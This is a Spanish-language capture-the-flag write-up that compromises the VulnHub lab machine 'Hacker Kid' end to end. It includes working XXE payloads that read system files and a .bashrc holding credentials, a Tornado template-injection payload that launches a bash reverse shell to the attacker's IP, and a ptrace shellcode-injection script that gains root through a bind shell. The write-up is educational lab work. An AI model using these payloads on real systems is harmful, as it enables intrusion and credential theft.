Hacker Kid 1.0.1
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El código fuente pide fuzzear un parámetropage_no; en la página 21 aparece un dominio interno que lleva a un AXFR con el subdominiohackerkid.blackhat.local. Su formulario de registro envía XML, y ahí hay un XXE: con php://filter se lee el.bashrcdesakety sus credenciales de una app Python. Ya autenticados en el puerto 9999, un parámetronamereflejado revela un SSTI de Tornado que da RCE. Para root,python2.7tiene la capability cap_sys_ptrace: se inyecta shellcode en un proceso derooty se abre una bind shell.
Reconocimiento
Descubrimiento del host
La máquina es una imagen de VulnHub en la red local, así que primero hay que dar con su IP. Un barrido ARP la localiza por su MAC de VMware:
sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 2c:70:4f:14:4e:c7 (Unknown)
192.168.1.145 00:0c:29:93:ac:51 VMware, Inc.
192.168.1.128 74:e2:0c:8f:1e:6f Amazon Technologies Inc.
192.168.1.129 a4:77:33:d7:4d:4c Google, Inc.
Ending arp-scan 1.10.0: 256 hosts scanned in 2.871 seconds (89.17 hosts/sec). 9 respondedCon la IP ya localizada, un ping sirve para dos cosas: confirmar que la máquina responde y estimar el sistema operativo por el TTL que devuelve.
ping -c 1 192.168.1.145
PING 192.168.1.145 (192.168.1.145) 56(84) bytes of data.
64 bytes from 192.168.1.145: icmp_seq=1 ttl=64 time=1.59 ms
--- 192.168.1.145 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.589/1.589/1.589/0.000 msTTL 64 → Linux (Windows sale de fábrica con 128, y los BSD/Solaris con 255). Es un indicio, no una prueba: cada salto de routing decrementa el TTL en uno, así que un 64 limpio significa además que la máquina está en el mismo segmento, sin routers de por medio.
Escaneo inicial
El escaneo de puertos completo, los 65535, para no dejar nada fuera:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.145 -oG scan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-16 20:42 CET
Initiating ARP Ping Scan at 20:42
Scanning 192.168.1.145 [1 port]
Completed ARP Ping Scan at 20:42, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 20:42
Scanning 192.168.1.145 [65535 ports]
Discovered open port 53/tcp on 192.168.1.145
Discovered open port 80/tcp on 192.168.1.145
Discovered open port 9999/tcp on 192.168.1.145
Completed SYN Stealth Scan at 20:42, 6.50s elapsed (65535 total ports)
Nmap scan report for 192.168.1.145
Host is up, received arp-response (0.0016s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 64
80/tcp open http syn-ack ttl 64
9999/tcp open abyss syn-ack ttl 64
MAC Address: 00:0C:29:93:AC:51 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 6.74 secondsTres puertos abiertos y 65532 cerrados (closed tcp ports (reset), es decir, responden con un RST: no hay firewall filtrando, simplemente no hay nada escuchando). El 9999/tcp aparece como abyss porque en este modo nmap no interroga al servicio: se limita a buscar el número de puerto en su tabla nmap-services. Ese nombre es una etiqueta, no el servicio real, y para saber qué corre de verdad hay que lanzar la detección de versiones sobre los tres puertos:
nmap -p53,80,9999 -sCV 192.168.1.145
PORT STATE SERVICE VERSION
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Notorious Kid : A Hacker
|_http-server-header: Apache/2.4.41 (Ubuntu)
9999/tcp open http Tornado httpd 6.1
| http-title: Please Log In
|_Requested resource was /login?next=%2F
|_http-server-header: TornadoServer/6.1
MAC Address: 00:0C:29:93:AC:51 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelAquí ya está media máquina explicada:
- 53/tcp con ISC BIND 9.16.1: no es un simple resolver, es un servidor DNS propio del objetivo. Cuando una máquina sirve su propia zona, se le puede preguntar por ella, y esa es la puerta a una transferencia de zona.
- 80/tcp, Apache 2.4.41 sobre Ubuntu, con el título
Notorious Kid : A Hacker. - 9999/tcp es
TornadoServer/6.1, el servidor web de Tornado, un framework de Python. Y responde conRequested resource was /login?next=%2F, o sea que redirige a un login. Ese dato (Python + Tornado) es el que más adelante explica la inyección de plantillas, y conviene anotarlo ya desde el escaneo en lugar de descubrirlo al final por casualidad.
whatweb confirma lo mismo desde el lado del cliente y añade un detalle:
El fichero -oG del escaneo lo resume extractPorts, que deja además la lista en el portapapeles para el escaneo dirigido:
extractPorts scan
Extracting information ...
IP Address: 192.168.1.145
Open ports: 53,80,9999
Ports copied to clipboardwhatweb 192.168.1.145
whatweb 192.168.1.145:9999
http://192.168.1.145 [200 OK] Apache[2.4.41], Bootstrap[4.3.1], Country[RESERVED][ZZ], HTML5,
HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.1.145], JQuery, Script,
Title[Notorious Kid : A Hacker]
http://192.168.1.145:9999 [302 Found] Country[RESERVED][ZZ], HTTPServer[TornadoServer/6.1],
IP[192.168.1.145], RedirectLocation[/login?next=%2F]
http://192.168.1.145:9999/login?next=%2F [200 OK] Cookies[_xsrf], Country[RESERVED][ZZ],
HTTPServer[TornadoServer/6.1], IP[192.168.1.145], PasswordField[password], Title[Please Log In]La cookie _xsrf es la que Tornado pone por defecto en sus formularios (xsrf_cookies): tercera confirmación del framework, esta vez desde la propia cabecera Set-Cookie.
Wappalyzer confirma lo mismo desde el navegador. En el 80, la portada "A Hacker Kid" sobre Apache 2.4.41 y Ubuntu, con Bootstrap y jQuery servidos desde CDN, y una frase que conviene leer despacio: "More you will DIG me, more you will find me on your servers..DIG me more...DIG me more".

En el 9999, el mismo Apache no aparece por ninguna parte: es el login de Tornado.

El código fuente de ese login tampoco esconde credenciales, pero sí deja ver el _xsrf como campo oculto del formulario, que es lo que confirma del todo el xsrf_cookies de Tornado:

<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /><p>
<p>Password: <input type="password" name="password" /><p>
<p><input type="submit" value="Log In" /></p>
<input type="hidden" name="_xsrf" value="2|9159a594|dbe48c7b74cb74aa8fa7134a3fdda829|1742154512"/>
</form>El código fuente pide que se fuzzee
La web del 80 no tiene nada visible más allá del texto de presentación, así que toca leer el HTML crudo (view-source:). Y ahí hay dos cosas escondidas en comentarios:

<center> <p>"More you will DIG me,more you will find me on your servers..DIG me more...DIG me more" </p> </center>
<!--
<div class="container py-5">
<h1>Thanks</h1>
TO DO: Use a GET parameter page_no to view pages.
-->Dos pistas, no una. La segunda es explícita: existe un parámetro GET page_no. La primera es la que suele pasarse por alto, porque parece decoración: DIG en mayúsculas, tres veces, en una máquina que además tiene el puerto 53 abierto. Eso no es una frase motivacional, es el nombre de la herramienta con la que hay que interrogar a ese DNS. La anotamos y seguimos con el parámetro.
http://192.168.1.145/?page_no=1
Oh Man !! Isn't is right to go a little deep inside?El parámetro existe y responde, pero con un mensaje que insinúa que estamos hurgando donde no debemos. Se ignora: si distintos valores devuelven distintos contenidos, es fuzzeable.
page_no: fuzzing del parámetro
En lugar de un diccionario de palabras, aquí lo que se fuzzea es un número, así que se usa el payload de rango de wfuzz (-z range,1-10000). La página por defecto pesa 3654 caracteres, así que se filtra por esa longitud con --hh=3654 para que solo asome lo distinto:
wfuzz -c -t 100 -z range,1-10000 -u 'http://192.168.1.145/?page_no=FUZZ' --hh=3654
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.145/?page_no=FUZZ
Total requests: 10000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000021: 200 116 L 310 W 3849 Ch "21"
Total time: 10.65177
Processed Requests: 10000
Filtered Requests: 9999
Requests/sec.: 938.8104Una de diez mil. Las otras 9999 devolvían exactamente los mismos 3654 caracteres; la 21 devuelve 3849, casi 200 más. Ese delta es todo el hallazgo:
http://192.168.1.145/?page_no=21
Okay so you want me to speak something ?
I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!
Out of my many homes...one such home..one such home for me : hackers.blackhat.localAparecen dominio y subdominio, y con ellos la explicación de por qué media web no carga bien: se está usando virtual hosting, es decir, un mismo Apache sirve sitios distintos según el nombre que llegue en la cabecera Host. Sin ese nombre en el /etc/hosts, el navegador pide por IP y Apache devuelve el sitio por defecto.
Los dos vhosts que no llevan a nada
Se añaden blackhat.local y hackers.blackhat.local al /etc/hosts:
nano /etc/hosts
192.168.1.145 hackers.blackhat.local blackhat.localY se visitan. Merece la pena enseñar el resultado aunque sea un callejón sin salida, porque explica por qué hay que seguir enumerando:

Forbidden
You don't have permission to access this resource.
Apache/2.4.41 (Ubuntu) Server at blackhat.local Port 80
Not Found
The requested URL was not found on this server.
Apache/2.4.41 (Ubuntu) Server at hackers.blackhat.local Port 80El dominio raíz está prohibido (403, que no es "no existe" sino "existe y no te dejo verlo") y el subdominio muestra exactamente la misma página que la IP, con enlaces rotos a /index.html. Ninguno de los dos aporta nada. Es aquí donde vuelve la pista del código fuente: si el propio autor repite DIG, el siguiente sitio donde buscar subdominios no es la web, es el DNS.
Puerto 53: interrogar al DNS
Con dig se le pregunta directamente al servidor del objetivo por su propia zona. Primero los registros básicos:
dig @192.168.1.145 blackhat.local
dig @192.168.1.145 blackhat.local ns
;; ANSWER SECTION:
blackhat.local. 10800 IN A 192.168.14.143
;; ANSWER SECTION:
blackhat.local. 10800 IN NS ns1.blackhat.local.
;; ADDITIONAL SECTION:
ns1.blackhat.local. 10800 IN A 192.168.14.143El servidor responde y se declara autoritativo de la zona (flags: qr aa rd ra, donde aa es authoritative answer). Un detalle curioso: la A apunta a 192.168.14.143, que no es la IP real de la máquina en nuestro laboratorio. La zona quedó escrita con la IP que tenía cuando el autor la creó, y eso confirma que estos registros son estáticos, escritos a mano en el fichero de zona.
dig @192.168.1.145 blackhat.local mx
;; ANSWER SECTION:
blackhat.local. 10800 IN MX 10 mail.blackhat.local.
;; ADDITIONAL SECTION:
mail.blackhat.local. 10800 IN A 192.168.14.143Un mail.blackhat.local que tampoco lleva a ninguna parte (no hay puertos de correo abiertos en el escaneo). Preguntar registro a registro es lento y solo devuelve lo que uno acierta a pedir; lo que hace falta es que el servidor entregue la zona entera.
Transferencia de zona (AXFR)
Un AXFR es la réplica que un DNS primario hace hacia sus secundarios. Si el servidor no restringe quién puede pedirla, cualquiera obtiene el listado completo de nombres de la zona:
dig @192.168.1.145 blackhat.local axfr
blackhat.local. 10800 IN SOA blackhat.local. hackerkid.blackhat.local. 1 10800 3600 604800 3600
blackhat.local. 10800 IN NS ns1.blackhat.local.
blackhat.local. 10800 IN MX 10 mail.blackhat.local.
blackhat.local. 10800 IN A 192.168.14.143
ftp.blackhat.local. 10800 IN CNAME blackhat.local.
hacker.blackhat.local. 10800 IN CNAME blackhat.local.blackhat.local.
mail.blackhat.local. 10800 IN A 192.168.14.143
ns1.blackhat.local. 10800 IN A 192.168.14.143
ns2.blackhat.local. 10800 IN A 192.168.14.143
www.blackhat.local. 10800 IN CNAME blackhat.local.
;; XFR size: 11 records (messages 1, bytes 353)El dato que importa está donde menos se mira: el campo RNAME del registro SOA, que normalmente lleva el correo del responsable de la zona, aquí contiene hackerkid.blackhat.local. No aparece como un registro propio en ninguna otra línea, así que quien solo lea la columna de nombres se lo salta. Ese es el que hay que añadir al /etc/hosts:

192.168.1.145 blackhat.local hackers.blackhat.local hackerkid.blackhat.localAcceso: XXE + php://filter
El formulario de registro envía XML
Este tercer vhost sí trae algo nuevo: un formulario de alta con cuatro campos.

Antes de darle vueltas al formulario en el navegador conviene ver qué envía por debajo. Se rellenan valores basura y se intercepta el envío con Burp Suite:

POST /process.php HTTP/1.1
Host: hackerkid.blackhat.local
Content-Type: text/plain;charset=UTF-8
Content-Length: 144
Origin: http://hackerkid.blackhat.local
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>dsf</name>
<tel>sdfsdf</tel>
<email>&myFile;</email>
<password>fsdf</password>
</root>Un formulario HTML normal envía application/x-www-form-urlencoded (name=dsf&tel=...). Este envía un documento XML hacia /process.php. Que la aplicación parsee XML de entrada la convierte en candidata a XXE: si el parser tiene habilitada la resolución de entidades externas, se le puede pedir que incluya ficheros del sistema.
Y hay un segundo regalo. La respuesta refleja el contenido del campo email:

Sorry, test is not available !!!Ese test en mitad del mensaje convierte lo que sería un XXE a ciegas (donde habría que exfiltrar por DNS o HTTP) en un XXE in-band: lo que se lea saldrá impreso en la propia respuesta.
PoC: definir una entidad y llamarla
Antes de tocar ficheros del sistema, la prueba mínima: declarar una entidad interna con un valor arbitrario y referenciarla en el campo reflejado. Si el parser la expande, hay inyección.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myName "jaime">]>
<root>
<name>dsf</name>
<tel>sdfsdf</tel>
<email>&myName;</email>
<password>fsdf</password>
</root>
HTTP/1.1 200 OK
Content-Length: 33
Content-Type: text/html; charset=UTF-8
Sorry, jaime is not available !!!El servidor no ha visto la cadena jaime en ningún campo: la ha construido expandiendo la entidad. El parser resuelve el DTD que le mandamos, que es exactamente lo que hace falta.
De entidad interna a fichero local
El siguiente escalón es la directiva SYSTEM, que hace que la entidad apunte a un recurso externo. Con el esquema file:// se leen ficheros del disco:
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
saket:x:1000:1000:saket,,,:/home/saket:/bin/bashDe todo el /etc/passwd interesan las líneas que terminan en una shell real: solo root y saket tienen /bin/bash; el resto son cuentas de servicio con nologin. Y saket tiene home en /home/saket, así que se pueden intentar sus ficheros de configuración.
file:// falla, php://filter no
El .bashrc de saket es el primer candidato (un fichero de arranque suele acabar guardando alias, rutas y alguna variable de más de la cuenta). Pero por la vía directa no sale:
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///home/saket/.bashrc">]>
HTTP/1.1 200 OK
Content-Length: 28
Sorry, is not available !!!28 bytes contra los 33 del PoC: la entidad se ha expandido a cadena vacía. No es que el fichero no exista, es que la lectura devuelve nada. La lectura por file:// puede fallar por permisos, pero también porque el parser rechaza el contenido: si el fichero lleva caracteres que rompen el XML (un &, un <, o bytes no válidos en UTF-8), el documento deja de estar bien formado y la entidad se queda vacía.
La forma de sortearlo es no leer el fichero en crudo, sino envolverlo en un filtro de PHP que lo transforme antes de insertarlo. php://filter con convert.base64-encode devuelve el fichero codificado en base64, un alfabeto seguro para XML:
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">]>
HTTP/1.1 200 OK
Content-Length: 5168
Content-Type: text/html; charset=UTF-8
Sorry,
IyB+Ly5iYXNocmM6IGJ5IEdOVSBiYXNoKDEpLCBTZWUgL3Vzci9zaGFyZS9kb2MvYmFzaC9leGFtcGxl
...De 28 bytes a 5168. El contraste entre las dos respuestas es la prueba de que el problema nunca fue el acceso al fichero, sino su codificación.
Credenciales en el .bashrc
Se decodifica y se mira el final del fichero, que es donde se suelen añadir las líneas propias:
echo -n "<base64_string>" | base64 -d | tail
#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"Un comentario que dice exactamente para qué son: una app de Python. Y la única app de Python de esta máquina es la que nmap identificó al principio, el TornadoServer/6.1 del puerto 9999.
Shell como saket: SSTI en Tornado
El usuario que dicen no es el que vale
Lo lógico es probar las credenciales tal cual vienen, admin con esa contraseña. No hay SSH abierto, así que se prueban contra el login del 9999:


Something Wrong With Your Data (1)
Go HomeFalla. Pero el .bashrc estaba en el home de saket, y la contraseña lleva su nombre, así que el username="admin" del fichero puede ser simplemente una variable mal puesta (o el usuario de otra cosa). Se prueba con el dueño del fichero:


Tell me your name buddy
How can i get to know who are you ??Dentro. Y la aplicación pide un nombre sin ofrecer ningún campo donde escribirlo: no hay formulario, ni enlaces, ni nada en el código fuente. Cuando una web pide un dato pero no da por dónde meterlo, lo que falta es el nombre del parámetro.
Fuzzing de parámetros
Se monta un Burp Intruder sobre GET /?§param§=x con el diccionario de nombres de parámetro de SecLists (burp-parameter-names.txt), 6453 candidatos:



Request Payload Status Length
3598 name 200 433
0 304 162
2 11 304 162
3 12 304 162
1 1 304 162
...Otra vez una sola respuesta distinta entre miles. Todas devuelven 304 (la página no cambia) con 162 bytes; solo name devuelve 200 con 433. Es decir, la aplicación reacciona a ese parámetro y a ningún otro:

Hello kmn9El valor se refleja en la respuesta. Con un backend PHP el reflejo apuntaría a XSS; con un backend Python que renderiza plantillas, el sospechoso principal es la inyección de plantillas del lado servidor (SSTI): si la cadena del usuario acaba dentro de la plantilla en vez de pasarse como dato, el motor la evalúa.
El payload de Tornado
El motor es el de Tornado, y su sintaxis de plantillas no es la de Jinja2, así que el {{7*7}} de manual no basta. La búsqueda de vulnerabilidades del framework ya apunta en la dirección correcta:

Y la sección de Tornado de HackTricks da la sintaxis exacta, incluida la comprobación de que {{7*7}} sí se evalúa a 49 en este motor:

Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}El propio motor permite importar módulos dentro de la plantilla:
{% import os %}{{os.system('whoami')}}
Hello 0No se ve el stdout del comando, solo un 0. Para saber si eso es una ejecución real o una casualidad, se repite con un comando que no existe:

Hello 32512Ese número lo dice todo. os.system() no devuelve la salida del comando, devuelve el estado de salida del proceso hijo tal y como lo entrega wait(): el código de salida ocupa el byte alto. 32512 / 256 = 127, y 127 es el código de "command not found" de la shell. Con whoami devolvía 0, o sea, ejecución correcta. Hay RCE a ciegas confirmado sin necesidad de ver una sola línea de salida.
De ejecución a ciegas a shell
Como no se ve el stdout, el comando tiene que traer la shell de vuelta. Primero el listener:
nc -nlvp 1234Y después el payload, con la reverse shell de bash dentro del os.system() (los & van URL-codificados como %26 para que no los corte el navegador):
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.1.80/1234 0>&1"')}}

saket@ubuntu:~$ id
uid=1000(saket) gid=1000(saket) groups=1000(saket),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)Escalada de privilegios: cap_sys_ptrace
La capability delatora
Las capabilities trocean los privilegios de root en permisos sueltos que se pueden asignar a un binario concreto. Un binario con la capability adecuada hace una cosa de root sin ser SUID y sin aparecer en sudo -l, por eso conviene enumerarlas siempre desde la raíz del sistema:
getcap -r / 2>/dev/null
saket@ubuntu:~$ getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
...cap_net_raw en ping y traceroute es lo normal (necesitan crear sockets crudos). Lo que no es normal es /usr/bin/python2.7 = cap_sys_ptrace+ep: un intérprete de propósito general con permiso para depurar procesos ajenos.
CAP_SYS_PTRACE concede las funciones de depuración y trazado de llamadas al sistema de ptrace(2), más las de acceso entre memorias process_vm_readv(2) y process_vm_writev(2). Traducido: quien la tiene puede adjuntarse a otro proceso, leer y escribir su memoria y cambiar sus registros, sin importar de quién sea ese proceso. Es la definición literal de la escalada.
La forma de llegar ahí es literal: se busca la cadena exacta que ha devuelto getcap dentro de HackTricks y el buscador la encuentra en la página de capabilities.


CAP_SYS_PTRACE grants the ability to use debugging and system call tracing functionalities provided
by ptrace(2) and cross-memory attach calls like process_vm_readv(2) and process_vm_writev(2).El exploit
La misma página de HackTricks publica el script que automatiza el abuso. Se copia al objetivo y se revisa antes de ejecutarlo, que es lo mínimo con código ajeno que va a tocar memoria de un proceso privilegiado:
nano exploit.py
cat exploit.py
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
...No hay magia: llama a ptrace vía ctypes con las macros de <sys/ptrace.h>. PTRACE_ATTACH se engancha al proceso, PTRACE_GETREGS guarda sus registros, PTRACE_POKETEXT escribe el shellcode palabra a palabra en su memoria, PTRACE_SETREGS apunta el registro RIP (el puntero de instrucción) al shellcode y PTRACE_DETACH lo suelta para que lo ejecute. El shellcode que trae abre una bind shell en el puerto 5600: al revés que una reverse shell, aquí es la víctima la que abre un puerto y espera, y el atacante el que se conecta.
Ejecutarlo tal cual avisa de lo que le falta:
python2.7 ./exploit.py
Traceback (most recent call last):
File "./exploit.py", line 46, in <module>
pid=int(sys.argv[1])
IndexError: list index out of rangeNecesita un PID: el del proceso al que engancharse. Y ese proceso tiene que correr como root, porque el shellcode heredará su identidad.
Elegir el proceso e inyectar
Apache es el candidato obvio: su proceso maestro arranca como root para poder abrir el puerto 80, y luego lanza los hijos con el usuario sin privilegios www-data. Un vistazo rápido lo confirma:
ps -faux | grep apache | head -n 3
saket 4554 0.0 0.0 17672 660 pts/0 S+ 02:57 0:00 \_ grep --color=auto apache
root 985 0.0 0.5 199840 20696 ? Ss Mar18 0:01 /usr/sbin/apache2 -k start
www-data 4445 0.0 0.2 57264 8764 ? S 02:38 0:00 \_ /usr/sbin/apache2 -k startLa primera columna lo dice todo: el maestro es de root y los hijos de www-data. Ese maestro es el proceso al que hay que engancharse.
ps -faux | grep apache
saket@ubuntu:~$ ps -faux | grep apache
saket 4689 0.0 0.0 17672 660 pts/0 S+ 03:09 0:00 \_ grep --color=auto apache
root 4680 0.0 0.4 199780 19852 ? Ss 03:09 0:00 /usr/sbin/apache2 -k start
www-data 4681 0.0 0.1 54388 6660 ? S 03:09 0:00 \_ /usr/sbin/apache2 -k start
www-data 4682 0.0 0.3 202120 13696 ? S 03:09 0:00 \_ /usr/sbin/apache2 -k start
www-data 4683 0.0 0.3 202120 13696 ? S 03:09 0:00 \_ /usr/sbin/apache2 -k start
www-data 4684 0.0 0.3 202120 13696 ? S 03:09 0:00 \_ /usr/sbin/apache2 -k start
www-data 4685 0.0 0.3 202120 13696 ? S 03:09 0:00 \_ /usr/sbin/apache2 -k start
www-data 4686 0.0 0.3 202120 13696 ? S 03:09 0:00 \_ /usr/sbin/apache2 -k startEl maestro es el PID 4680, con root en la primera columna. Los seis hijos son www-data y no sirven: engancharse a ellos daría una shell tan poco privilegiada como la actual.
python2.7 ./exploit.py 4680saket@ubuntu:~$ python2.7 ./exploit.py 4680
Instruction Pointer: 0x7f4915d8a0daL
Injecting Shellcode at: 0x7f4915d8a0daL
Shellcode Injected !!
Final Instruction Pointer: 0x7f4915d8a0dcLEl script imprime el puntero de instrucción original, escribe el shellcode en esa dirección y devuelve el puntero final. El proceso 4680 sigue siendo Apache para el sistema, pero ahora tiene un puerto extra escuchando. Se conecta desde el atacante:
nc 192.168.1.145 5600$ nc 192.168.1.145 5600
whoami
root
script /dev/null -c bash
Script started, file is /dev/null
root@ubuntu:/# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/# cd /root
root@ubuntu:/root# ls
App.zip server.py templatesuid=0(root). La bind shell llega sin TTY (es un socket pelado), así que se trata con script /dev/null -c bash para poder usar el historial, Ctrl+C y los editores. En /root está server.py, el código de la app de Tornado del 9999, y el App.zip del que salió.
Máquina pwneada.
Cadena de ataque
código fuente -> fuzz page_no -> página 21 filtra dominio interno -> AXFR
└─> hackerkid.blackhat.local (registro XML) -> XXE -> php://filter lee .bashrc
└─> saket:Saket!#$%@!! -> login 9999 -> parámetro name (SSTI Tornado)
└─> RCE como saket -> getcap: python2.7 cap_sys_ptrace+ep
└─> inyección de shellcode en proceso root -> bind shell 5600 -> rootLecciones aprendidas
- El DNS del propio objetivo es un mapa. Un
axfrmal restringido entrega los subdominios que el fuzzing web no encuentra, y el nombre bueno puede estar en elSOA, no en un registro propio. - XML en una petición grita XXE. Un parser que resuelve entidades externas lee ficheros arbitrarios, y
php://filtersalva las lecturas quefile://devuelve vacías porque el contenido rompe el XML. - Input reflejado + plantillas de servidor = SSTI. Identificar el motor (Tornado, ya visible en el escaneo de versiones) da la sintaxis exacta del payload; el estado de salida confirma la ejecución aunque no se vea el
stdout. - Las capabilities son root troceado.
cap_sys_ptracesobre un intérprete permite secuestrar la memoria de cualquier proceso, incluidos los deroot, sin romper contraseñas ni tocar el kernel. - No guardar credenciales en ficheros de arranque. Un
.bashrccon la contraseña de una app es un regalo para cualquier LFI/XXE.